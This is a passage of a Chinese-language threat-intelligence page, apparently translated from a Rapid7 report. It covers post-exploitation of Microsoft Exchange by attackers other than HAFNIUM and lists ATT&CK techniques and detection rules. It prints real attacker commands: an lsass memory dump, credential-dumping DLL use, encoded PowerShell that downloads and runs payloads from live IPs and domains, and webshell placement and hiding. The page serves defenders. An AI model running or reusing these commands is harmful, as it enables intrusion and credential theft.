style="text-align: left;"><span style="font-size: 15px;">T1087.001 - 帐户发现：本地帐户</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1087/001/" target="_blank">https://attack.mitre.org/techniques/T1087/001/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1087.002 - 帐户发现：域名帐户</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1087/002/" target="_blank">https://attack.mitre.org/techniques/T1087/002/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1098 - 帐户操作</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1098/" target="_blank">https://attack.mitre.org/techniques/T1098/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1105 - 入口工具传输</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1105/" target="_blank">https://attack.mitre.org/techniques/T1105/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1190 - 利用面向公众的应用程序</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1190/" target="_blank">https://attack.mitre.org/techniques/T1190/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1203 - 开发客户执行</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1203/" target="_blank">https://attack.mitre.org/techniques/T1203/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1218 - 已签名的二进制代理执行</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1218/" target="_blank">https://attack.mitre.org/techniques/T1218/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align:left;"><span style="font-size: 15px;">T1218.007 - 已签名的二进制代理执行：Msiexec</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1218/007/" target="_blank">https://attack.mitre.org/techniques/T1218/007/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1505 - 服务器软件组件</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1505/" target="_blank">https://attack.mitre.org/techniques/T1505/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1505.003 - 服务器软件组件：网络壳</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1505/003/" target="_blank">https://attack.mitre.org/techniques/T1505/003/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1518 - 软件发现</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1518/" target="_blank">https://attack.mitre.org/techniques/T1518/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1518.001 - 软件发现：安全软件发现</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1518/001/" target="_blank">https://attack.mitre.org/techniques/T1518/001/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1531 - 帐户访问删除</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1531/" target="_blank">https://attack.mitre.org/techniques/T1531/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1583 - 获取基础设施</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1583/" target="_blank">https://attack.mitre.org/techniques/T1583/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align:left;"><span style="font-size: 15px;">T1583.003 - 获取基础设施：虚拟专用服务器</span><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1583/003/" target="_blank">https://attack.mitre.org/techniques/T1583/003/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1587 - 开发功能</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1587/" target="_blank">https://attack.mitre.org/techniques/T1587/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1587.001 - 开发功能：恶意软件</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1587/001/" target="_blank">https://attack.mitre.org/techniques/T1587/001/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1587.004 - 开发功能：漏洞</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1587/004/" target="_blank">https://attack.mitre.org/techniques/T1587/004/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1588 - 获取功能</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1588/" target="_blank">https://attack.mitre.org/techniques/T1588/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1588.001 - 获取功能：恶意软件</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1588/001/" target="_blank">https://attack.mitre.org/techniques/T1588/001/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1588.002 - 获取功能：工具</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1588/002/" target="_blank">https://attack.mitre.org/techniques/T1588/002/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1588.005 - 获取功能：漏洞</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1588/005/" target="_blank">https://attack.mitre.org/techniques/T1588/005/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1588.006 - 获取功能：漏洞</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1588/006/" target="_blank">https://attack.mitre.org/techniques/T1588/006/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1595 - 主动扫描</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1595/" target="_blank">https://attack.mitre.org/techniques/T1595/</a></em></span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">T1595.001 - 主动扫描：扫描 IP 块</span></p><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1595/001/" target="_blank">https://attack.mitre.org/techniques/T1595/001/</a></em></span></p></li><li><p style="text-align: left;"><span style="font-size: 15px;">T1595.002 - 主动扫描：漏洞扫描</span></p></li><li><p style="text-align: left;"><span style="color: rgb(0, 213, 255);font-size: 12px;"><em><a href="https://attack.mitre.org/techniques/T1595/002/" target="_blank">https://attack.mitre.org/techniques/T1595/002/</a></em></span></p></li></ul><p style="text-align: left;"><br/></p><h1 style="white-space: normal;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 17px;">于HAFNIUM不相关的活动</span></strong></span></h1><p style="text-indent:28px;"><span style="font-size: 15px;">Rapid7 还观察到除HAFNIUM之外的部分攻击者在最近几周对这些Exchange漏洞进行了其他几种不同类型后渗透攻击尝试。我们已将这些命令分组，并将会被执行的独特类型的命令提炼到如下所示的各个部分中。</span></p><p style="text-indent:28px;"><span style="font-size: 15px;"><br/></span></p><h2 style="text-align: center;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 15px;">Minidump 和 Makecab 攻击</span></strong></span></h2><p style="text-indent:28px;"><span style="font-size: 15px;">发现此攻击者上传批量脚本来执行 Microsoft 实用程序 dsquery .exe以列举活动目录域中的所有用户。攻击者还可能将comsvcs.dll中的Minidump功能与rundll32.exe一起使用 以便将lsass.exe进程的内存写入磁盘。然后，攻击者使用现有的Microsoft实用程序makecab.exe压缩内存转储，以更有效地进行检索。总体而言，该攻击者在对受害者进行数据收集的过程中所利用的方法与其他报道该行为者的报告中讨论的数据相似，现将这些行为统称为HAFNIUM。但是，因为其所使用的工具、技术差异很大，因此如果没有其他引人注目的链接，就无法轻易将其归因于同一攻击者。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__type">C</span>:\<span class="code-snippet__type">Windows</span>\<span class="code-snippet__type">System32</span>\cmd.exe /<span class="code-snippet__built_in">c</span> <span class="code-snippet__built_in">c</span>:\inetpub\wwwroot\aspnet_client\test.bat</span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">C</span>:\<span class="code-snippet__type">Windows</span>\<span class="code-snippet__type">System32</span>\cmd.exe /<span class="code-snippet__built_in">c</span> <span class="code-snippet__built_in">c</span>:\inetpub\wwwroot\aspnet_client\test.bat</span></code><code><span class="code-snippet_outer">dsquery * -limit <span class="code-snippet__number">0</span> -<span class="code-snippet__built_in">filter</span> objectCategory=person -attr * -uco</span></code><code><span class="code-snippet_outer">powershell rundll32.exe <span class="code-snippet__built_in">c</span>:\windows\system32\comsvcs.dll <span class="code-snippet__type">MiniDump</span> <span class="code-snippet__number">900</span> <span class="code-snippet__built_in">c</span>:\inetpub\wwwroot\aspnet_client\&lt;<span class="code-snippet__type">REDACTED_33_CHARACTER_STRING</span>&gt;.tmp.dmp full</span></code><code><span class="code-snippet_outer">makecab <span class="code-snippet__built_in">c</span>:\inetpub\wwwroot\aspnet_client\&lt;<span class="code-snippet__type">REDACTED_33_CHARACTER_STRING</span>&gt;.tmp.dmp <span class="code-snippet__built_in">c</span>:\inetpub\wwwroot\aspnet_client\&lt;<span class="code-snippet__type">REDACTED_33_CHARACTER_STRING</span>&gt;.dmp.<span class="code-snippet__built_in">zip</span></span></code><code><span class="code-snippet_outer">makecab <span class="code-snippet__built_in">c</span>:\inetpub\wwwroot\aspnet_client\&lt;<span class="code-snippet__type">REDACTED_33_CHARACTER_STRING</span>&gt;.tmp <span class="code-snippet__built_in">c</span>:\inetpub\wwwroot\aspnet_client\&lt;<span class="code-snippet__type">REDACTED_33_CHARACTER_STRING</span>&gt;.dmp.<span class="code-snippet__built_in">zip</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);text-indent: 28px;">用于检测此攻击者活动的InsightIDR攻击者行为分析：</span></p><ul class="list-paddingleft-2" style="width: 577.412px;white-space: normal;"><li style="font-size: 15px;"><p><span style="color: black;">可疑进程-Outlook WebAccess产生的进程</span></p></li><li style="font-size: 15px;"><p><span style="color: black;">攻击者技术-通过COM Services DLL的Minidump</span></p><p><br/></p></li></ul><h2 style="text-align: center;"><strong><span style="color: rgb(233, 95, 38);">恶意DLL攻击</span></strong><br/></h2><p style="text-indent: 28px;"><span style="font-size: 15px;">到该攻击者通过rundll32.exe上传和执行DLL，并将输出重定向到文本文件。人们相信demo.dll文件具有与mimikatz或其他哈希/密码转储实用程序类似的功能。攻击者还利用net，netstat和tasklist实用程序以及klist来显示缓存的Kerberos票证。这再次与HAFNIUM收集的数据类型有些重叠，但是这样做的方法不同。另外，这是攻击者通常都会采取的操作。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">c</span>:\windows\system32\cmd.exe /<span class="code-snippet__built_in">c</span> tasklist</span></code><code><span class="code-snippet_outer">tasklist</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">c</span>:\windows\system32\cmd.exe /<span class="code-snippet__built_in">c</span> net time /<span class="code-snippet__keyword">do</span></span></code><code><span class="code-snippet_outer">net time /<span class="code-snippet__keyword">do</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">c</span>:\windows\system32\cmd.exe /<span class="code-snippet__built_in">c</span> rundll32 <span class="code-snippet__built_in">c</span>:\programdata\demo.dll,run -lm &gt; <span class="code-snippet__built_in">c</span>:\programdata\<span class="code-snippet__number">1</span>.txt</span></code><code><span class="code-snippet_outer">rundll32 <span class="code-snippet__built_in">c</span>:\programdata\demo.dll,run -lm &gt; <span class="code-snippet__built_in">c</span>:\programdata\<span class="code-snippet__number">1</span>.txt</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">c</span>:\windows\system32\cmd.exe /<span class="code-snippet__built_in">c</span> klist</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">c</span>:\windows\system32\cmd.exe /<span class="code-snippet__built_in">c</span> tasklist</span></code><code><span class="code-snippet_outer">tasklist</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">c</span>:\windows\system32\cmd.exe /<span class="code-snippet__built_in">c</span> netstat -ano</span></code><code><span class="code-snippet_outer">netstat -ano</span></code></pre></section><p>InsightIDR攻击者行为分析检测这个攻击者的活动:</p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li><p>可疑进程-Outlook Web Access产生的进程</p></li></ul><p style="text-indent: 28px;"><br/></p><h2 style="text-align: center;"><strong><span style="color: rgb(233, 95, 38);font-size: 15px;">Opera浏览器和Cobalt Strike攻击</span></strong></h2><p style="text-indent:28px;"><span style="font-size: 15px;">这个攻击者通过Microsoft的BITSAdmin下载脚本。然后，这些脚本将执行经过编码的PowerShell命令，检索可以匹配Opera浏览器最新版本漏洞的DLL (CVE-2018-18913)。攻击者还会检索恶意的dll和其他文件，并将其与合法的Opera_browser.exe文件放置在同一目录中以进行执行。然后，这会将恶意代码加载到与浏览器位于同一目录中的DLL中。最终再执行Cobalt Strike（攻击者分发勒索软件最常用的工具）。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">C</span>:<span class="code-snippet__string">\Windows\System32\bitsadmin.exe /rawreturn /transfer getfile <a href="http://89.34.111.11/3.avi" target="_blank">http://89.34.111.11/3.avi</a> c:\Users\public\2.bat</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">C</span>:<span class="code-snippet__string">\Windows\System32\cmd.exe /c c:\Users\public\2.bat</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">powershell</span> <span class="code-snippet__string">-enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA4ADYALgAxADAANQAuADEAOAAuADEAMQA2AC8AbgBlAHcAcwAvAGMAbwBkAGUAJwAsACcAQwA6AFwAdQBzAGUAcgBzAFwAcAB1AGIAbABpAGMAXABvAHAAZQByAGEAXABjAG8AZABlACcAKQA=</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">powershell</span> <span class="code-snippet__string">-enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA4ADYALgAxADAANQAuADEAOAAuADEAMQA2AC8AbgBlAHcAcwAvAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBwAG4AZwAnACwAJwBDADoAXAB1AHMAZQByAHMAXABwAHUAYgBsAGkAYwBcAG8AcABlAHIAYQBcAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBwAG4AZwAnACkA</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">powershell</span> <span class="code-snippet__string">-enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA4ADYALgAxADAANQAuADEAOAAuADEAMQA2AC8AbgBlAHcAcwAvAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBkAGwAbAAnACwAJwBDADoAXAB1AHMAZQByAHMAXABwAHUAYgBsAGkAYwBcAG8AcABlAHIAYQBcAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBkAGwAbAAnACkA</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">msiexec.exe</span> <span class="code-snippet__string">-k</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">powershell</span> <span class="code-snippet__string">Start-Sleep -Seconds 10</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">cmd</span> <span class="code-snippet__string">/c C:\\users\\public\\opera\\opera_browser.exe</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">C</span>:<span class="code-snippet__string">\\users\\public\\opera\\opera_browser.exe</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">powershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA4ADYALgAxADAANQAuADEAOAAuADEAMQA2AC8AbgBlAHcAcwAvAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBlAHgAZQAnACwAJwBDADoAXAB1AHMAZQByAHMAXABwAHUAYgBsAGkAYwBcAG8AcABlAHIAYQBcAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBlAHgAZQAnACkA</span></span></code></pre></section><section style="text-align: left;margin-left: 0px;margin-right: 0px;text-indent: 0em;"><span style="font-size: 15px;">传递给PowerShell的Base64解码的字符串：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">(<span class="code-snippet__keyword">new</span>-<span class="code-snippet__keyword">object</span> System.Net.WebClient).DownloadFile(<span class="code-snippet__string">&#39;<a href="http://86.105.18.116/news/code" target="_blank">http://86.105.18.116/news/code</a>&#39;</span>,<span class="code-snippet__string">&#39;C:\users\public\opera\code&#39;</span>)</span></code><code><span class="code-snippet_outer">(<span class="code-snippet__keyword">new</span>-<span class="code-snippet__keyword">object</span> System.Net.WebClient).DownloadFile(<span class="code-snippet__string">&#39;<a href="http://86.105.18.116/news/opera_browser.png" target="_blank">http://86.105.18.116/news/opera_browser.png</a>&#39;</span>,<span class="code-snippet__string">&#39;C:\users\public\opera\opera_browser.png&#39;</span>)</span></code><code><span class="code-snippet_outer">(<span class="code-snippet__keyword">new</span>-<span class="code-snippet__keyword">object</span> System.Net.WebClient).DownloadFile(<span class="code-snippet__string">&#39;<a href="http://86.105.18.116/news/opera_browser.dll" target="_blank">http://86.105.18.116/news/opera_browser.dll</a>&#39;</span>,<span class="code-snippet__string">&#39;C:\users\public\opera\opera_browser.dll&#39;</span>)</span></code><code><span class="code-snippet_outer">(<span class="code-snippet__keyword">new</span>-<span class="code-snippet__keyword">object</span> System.Net.WebClient).DownloadFile(<span class="code-snippet__string">&#39;<a href="http://86.105.18.116/news/opera_browser.exe" target="_blank">http://86.105.18.116/news/opera_browser.exe</a>&#39;</span>,<span class="code-snippet__string">&#39;C:\users\public\opera\opera_browser.exe&#39;</span>)</span></code></pre></section><p><span style="font-size: 15px;">用于检测此攻击者活动的InsightIDR攻击者行为分析：<span style="text-indent: 28px;"> </span></span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">可疑进程-Outlook Web Access产生的进程</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">攻击者技术-使用后台智能传输服务下载并执行</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">攻击者技术-URL传递给BitsAdmin</span></p><p><br/></p></li></ul><h2 style="text-align: center;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 15px;">Six-character的webshell攻击</span></strong></span></h2><p><span style="font-size: 15px;">    发现此攻击者上载了webshell并将其复制到webroot中的其他位置。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">cmd</span> /c copy C:\inetpub\wwwroot\aspnet_client\discover.aspx <span class="code-snippet__string">&#34;C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\&lt;REDACTED_6_CHARACTER_STRING&gt;.aspx&#34;</span></span></code></pre></section><p><span style="font-size: 15px;">用于检测此攻击者活动的InsightIDR攻击者行为分析：</span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">可疑进程-Outlook Web Access产生的进程</span></p></li></ul><p style="text-indent: 28px;"><br/></p><p style="text-align: center;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 15px;">从攻击源下载已编码的PowerShell</span></strong></span></p><p><span style="font-size: 15px;">    发现攻击者正在执行编码的PowerShell命令，该命令将从远程位置下载恶意软件。还会执行getmac.exe实用程序以枚举有关网络适配器的信息。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">cmd.exe /c powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcAAuAGUAcwB0AG8AbgBpAG4AZQAuAGMAbwBtAC8AcAA/AGUAJwApAA==</span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">C:\Windows\system32\getmac.exe /FO CSV</span></span></code></pre></section><p><span style="font-size: 15px;">传递给PowerShell的Base64解码的字符串：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">IEX (New-<span class="code-snippet__built_in">Object</span> Net.WebClient).downloadstring(<span class="code-snippet__string">&#39;<a href="http://p.estonine.com/p?e" target="_blank">http://p.estonine.com/p?e</a>&#39;</span>)</span></code></pre></section><p><span style="font-size: 15px;">用于检测此攻击者活动的InsightIDR攻击者行为分析：</span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">可疑进程-Outlook Web Access产生的进程</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">攻击者技术-PowerShell下载</span></p></li></ul><p><br/></p><h2 style="text-align: center;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 17px;">Ten-character的webshell攻击</span></strong></span></h2><h2 style="text-align: left;"><span style="font-size: 15px;">    发现此攻击者正在上载webshell，使用icacls将webroot的目录权限设置为递归只读。<span style="text-indent: 28px;text-align: justify;">此外，攻击者使用attrib.exe实用工具将包含Web Shell的文件设置标记为隐藏，并设置系统更加难以查找这些文件。</span></span></h2><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__type">C</span>:\<span class="code-snippet__type">Windows</span>\<span class="code-snippet__type">System32</span>\cmd.exe /<span class="code-snippet__built_in">c</span> move <span class="code-snippet__string">&#34;c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\error.aspx&#34;</span> <span class="code-snippet__string">&#34;c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\&lt;REDACTED_10_CHARACTER_STRING&gt;.aspx&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">C</span>:\<span class="code-snippet__type">Windows</span>\<span class="code-snippet__type">System32</span>\cmd.exe /<span class="code-snippet__built_in">c</span> icacls <span class="code-snippet__string">&#34;c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth&#34;</span> /inheritance:r /grant:r <span class="code-snippet__type">Everyone</span>:(<span class="code-snippet__type">OI</span>)(<span class="code-snippet__type">CI</span>)<span class="code-snippet__type">R</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">C</span>:\<span class="code-snippet__type">Windows</span>\<span class="code-snippet__type">System32</span>\cmd.exe /<span class="code-snippet__built_in">c</span> =attrib <span class="code-snippet__string">&#34;c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\&lt;REDACTED_10_CHARACTER_STRING&gt;.aspx&#34;</span> +s +h</span></code><code><span class="code-snippet_outer">attrib <span class="code-snippet__string">&#34;c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\&lt;REDACTED_10_CHARACTER_STRING&gt;.aspx&#34;</span> +s +h</span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">C</span>:\<span class="code-snippet__type">Windows</span>\<span class="code-snippet__type">System32</span>\cmd.exe /<span class="code-snippet__built_in">c</span> icacls <span class="code-snippet__string">&#34;c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth&#34;</span> /inheritance:r /grant:r <span class="code-snippet__type">Everyone</span>:(<span class="code-snippet__type">OI</span>)(<span class="code-snippet__type">CI</span>)<span class="code-snippet__type">R</span></span></code></pre></section><p><span style="font-size: 15px;">用于检测此攻击者活动的InsightIDR攻击者行为分析：</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 15px;">可疑进程-Outlook Web Access产生的进程</span></p></li><li><p><span style="font-size: 15px;">攻击者技术-修改Exchange Webroot中的文件</span></p><p><br/></p></li></ul><p style="text-align: center;"><strong style="color: rgb(233, 95, 38);font-size: 15px;text-align: center;text-indent: 0em;">7zip和NetSupport Manager攻击</strong></p><p style="text-indent:28px;"><span style="font-size: 15px;">该攻击者使用了7zip压缩实用程序（重命名为MonitoringLog.exe）和NetSupport Manager远程访问工具（client32.exe）。这些实用程序很可能由PowerShell脚本script1.ps1检索，并位于名为Service.Information.rtf的受密码保护的存档中。提取后，将执行以下实用程序：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">c</span>:<span class="code-snippet__string">\windows\system32\cmd.exe dir C:\Programdata\</span></span></code><code><span class="code-snippet_outer">c:\windows\system32\cmd.exe /c powershell C:\Programdata\script1.ps1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">powershell</span> <span class="code-snippet__string">C:\Programdata\script1.ps1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">C</span>:<span class="code-snippet__string">\ProgramData\MonitoringLog.exe x -p&lt;REDACTED_STRING&gt; -y C:\ProgramData\Service.Information.rtf -oC:\ProgramData</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">ping</span> <span class="code-snippet__string">-n 10 127.0.0.1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">c</span>:<span class="code-snippet__string">\windows\system32\cmd.exe /c C:\Programdata\MonitoringLog.cmd</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">taskkill</span> <span class="code-snippet__string">/Im rundll32.exe /F</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">C</span>:<span class="code-snippet__string">\ProgramData\NetConnections\client32.exe</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">ping</span> <span class="code-snippet__string">-n 10 127.0.0.1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">taskkill</span> <span class="code-snippet__string">/Im rundll32.exe /F</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">c</span>:<span 